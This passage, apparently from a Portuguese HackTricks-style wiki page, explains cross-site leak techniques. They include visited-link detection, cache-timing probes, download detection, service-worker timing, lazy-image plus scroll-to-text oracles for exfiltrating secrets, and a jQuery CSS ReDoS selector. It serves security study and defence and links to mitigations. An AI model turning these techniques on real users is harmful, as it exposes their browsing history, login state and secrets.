O seletor CSS :visited é utilizado para estilizar URLs de forma diferente se elas foram visitadas anteriormente pelo usuário. No passado, o método getComputedStyle() poderia ser empregado para identificar essas diferenças de estilo. No entanto, navegadores modernos implementaram medidas de segurança para impedir que esse método revele o estado de um link. Essas medidas incluem sempre retornar o estilo computado como se o link tivesse sido visitado e restringir os estilos que podem ser aplicados com o seletor :visited.

Apesar dessas restrições, é possível discernir o estado visitado de um link indiretamente. Uma técnica envolve enganar o usuário para interagir com uma área afetada pelo CSS, utilizando especificamente a propriedade mix-blend-mode. Essa propriedade permite a mistura de elementos com seu fundo, potencialmente revelando o estado visitado com base na interação do usuário.

Além disso, a detecção pode ser alcançada sem interação do usuário explorando os tempos de renderização dos links. Como os navegadores podem renderizar links visitados e não visitados de forma diferente, isso pode introduzir uma diferença de tempo mensurável na renderização. Um proof of concept (PoC) foi mencionado em um relatório de bug do Chromium, demonstrando essa técnica usando múltiplos links para amplificar a diferença de tempo, tornando assim o estado visitado detectável através da análise de tempo.

Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de documentação:

ContentDocument X-Frame Leak

No Chrome, se uma página com o cabeçalho X-Frame-Options definido como "deny" ou "same-origin" é incorporada como um objeto, uma página de erro aparece. O Chrome retorna de forma única um objeto de documento vazio (em vez de null) para a propriedade contentDocument desse objeto, ao contrário de iframes ou outros navegadores. Os atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informações sobre o estado do usuário, especialmente se os desenvolvedores definirem de forma inconsistente o cabeçalho X-Frame-Options, muitas vezes negligenciando páginas de erro. A conscientização e a aplicação consistente de cabeçalhos de segurança são cruciais para prevenir tais vazamentos.

Download Detection

O cabeçalho Content-Disposition, especificamente Content-Disposition: attachment, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que aciona um download de arquivo. Em navegadores baseados em Chromium, existem algumas técnicas para detectar esse comportamento de download:

  1. Monitoramento da Barra de Download:

  • Quando um arquivo é baixado em navegadores baseados em Chromium, uma barra de download aparece na parte inferior da janela do navegador.

  • Monitorando mudanças na altura da janela, os atacantes podem inferir a aparição da barra de download, sugerindo que um download foi iniciado.

  1. Navegação de Download com Iframes:

  • Quando uma página aciona um download de arquivo usando o cabeçalho Content-Disposition: attachment, isso não causa um evento de navegação.

  • Carregando o conteúdo em um iframe e monitorando eventos de navegação, é possível verificar se a disposição do conteúdo causa um download de arquivo (sem navegação) ou não.

  1. Navegação de Download sem Iframes:

  • Semelhante à técnica do iframe, este método envolve usar window.open em vez de um iframe.

  • Monitorar eventos de navegação na nova janela aberta pode revelar se um download de arquivo foi acionado (sem navegação) ou se o conteúdo é exibido inline (a navegação ocorre).

Em cenários onde apenas usuários logados podem acionar tais downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador ao pedido de download.

Partitioned HTTP Cache Bypass

É por isso que essa técnica é interessante: o Chrome agora tem particionamento de cache, e a chave de cache da nova página aberta é: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), a chave de cache é diferente, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: Ganhando segurança e privacidade ao particionar o cache (Comentário de aqui)

Se um site example.com inclui um recurso de *.example.com/resource, então esse recurso terá a mesma chave de cache como se o recurso fosse diretamente solicitado através de navegação de nível superior. Isso ocorre porque a chave de cache é composta pelo eTLD+1 de nível superior e o eTLD+1 do frame.

Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache. Ou poderia apenas enviar algum fetch para a página potencialmente armazenada em cache e medir o tempo que leva.

Manual Redirect

Fetch with AbortController

Use fetch e setTimeout com um AbortController para detectar se o recurso está armazenado em cache e para expulsar um recurso específico do cache do navegador. Além disso, o processo ocorre sem armazenar novo conteúdo em cache.

Script Pollution

Service Workers

No cenário dado, o atacante toma a iniciativa de registrar um service worker em um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o service worker a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega a referência obtida na etapa anterior para uma página gerenciada pelo service worker.

Ao chegar a solicitação iniciada na etapa anterior, o service worker responde com um código de status 204 (No Content), efetivamente encerrando o processo de navegação. Neste ponto, o service worker captura uma medição do temporizador iniciado anteriormente na etapa dois. Essa medição é influenciada pela duração do JavaScript que causa atrasos no processo de navegação.

Em um tempo de execução, é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.

Fetch Timing

Cross-Window Timing

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Com HTML ou Re Injeção

Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada injetando conteúdo HTML. Essas técnicas são interessantes em casos onde, por qualquer motivo, você pode injetar HTML, mas não pode injetar código JS.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Se você precisa exfiltrar conteúdo e pode adicionar HTML antes do segredo, deve verificar as técnicas comuns de dangling markup. No entanto, se por qualquer motivo você DEVE fazer isso caractere por caractere (talvez a comunicação seja via um cache hit), você pode usar esse truque.

Imagens em HTML têm um atributo "loading" cujo valor pode ser "lazy". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página está carregando:

<img src=/something loading=lazy >

Portanto, o que você pode fazer é adicionar muitos caracteres lixo (por exemplo, milhares de "W"s) para preencher a página da web antes do segredo ou adicionar algo como <br><canvas height="1850px"></canvas><br>. Então, se por exemplo nossa injeção aparecer antes da bandeira, a imagem seria carregada, mas se aparecer depois da bandeira, a bandeira + o lixo impedirão que ela seja carregada (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em este writeup.

Outra opção seria usar o scroll-to-text-fragment se permitido:

Scroll-to-text-fragment

No entanto, você faz o bot acessar a página com algo como

#:~:text=SECR

Então a página da web será algo como: https://victim.com/post.html#:~:text=SECR

Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento preguiçoso e então o segredo do bot é adicionado.

O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto SECR. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Assim, você tem seu oráculo para exfiltrar o segredo caractere por caractere.

Algum exemplo de código para explorar isso: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carregamento Preguiçoso de Imagem Baseado em Tempo

Se não for possível carregar uma imagem externa que poderia indicar ao atacante que a imagem foi carregada, outra opção seria tentar adivinhar o caractere várias vezes e medir isso. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na solução deste relatório resumido aqui:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Se jQuery(location.hash) for usado, é possível descobrir via tempo se algum conteúdo HTML existe, isso porque se o seletor main[id='site-main'] não corresponder, não precisa verificar o resto dos seletores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injeção de CSS

CSS Injection

Defesas

Existem mitig ações recomendadas em https://xsinator.com/paper.pdf também em cada seção da wiki https://xsleaks.dev/. Dê uma olhada lá para mais informações sobre como se proteger contra essas técnicas.

Referências

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks

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